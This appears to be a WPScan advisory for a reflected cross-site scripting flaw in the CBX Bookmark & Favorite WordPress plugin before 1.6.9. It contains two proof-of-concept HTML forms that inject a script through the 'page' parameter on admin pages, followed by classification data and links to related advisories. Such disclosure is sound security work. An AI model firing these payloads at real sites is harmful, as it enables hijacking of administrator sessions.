CBX Bookmark & Favorite < 1.6.9 – Reflected Cross-Site Scripting | Plugin Vulnerabilities

Description

The plugin does not escape a page parameter before outputting it back in attributes, leading to Reflected Cross-Site Scripting issues

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=cbxwpbookmark" method="POST">
      <input type="hidden" name="page" value='"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=cbxwpbookmarkcats" method="POST">
      <input type="hidden" name="page" value='"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

Fixed in 1.6.9

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

WPScanTeam

Verified

Yes

WPVDB ID

6024b2e2-1869-409e-b19e-2dcea39c019e

Timeline

Publicly Published

2021-08-16 (about 4 years ago)

Added

2021-08-16 (about 4 years ago)

Last Updated

2021-08-16 (about 4 years ago)

Other

Published

Title

Published

2025-07-07

Title

Lightbox & Modal Popup WordPress Plugin – FooBox < 2.7.35 - Authenticated (Author+) Stored Cross-Site Scripting

Published

2022-12-27

Title

Compact WP Audio Player < 1.9.8 - Contributor+ Stored XSS

Published

2022-03-28

Title

Good & Bad Comments <= 1.0.0 - Admin+ Stored Cross-Site Scripting

Published

2024-06-20

Title

Ali2Woo Lite < 3.3.7 - Reflected Cross-Site Scripting

Published

2024-07-16

Title

Ultimate Addons for WPBakery Page Builder < 3.19.20.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode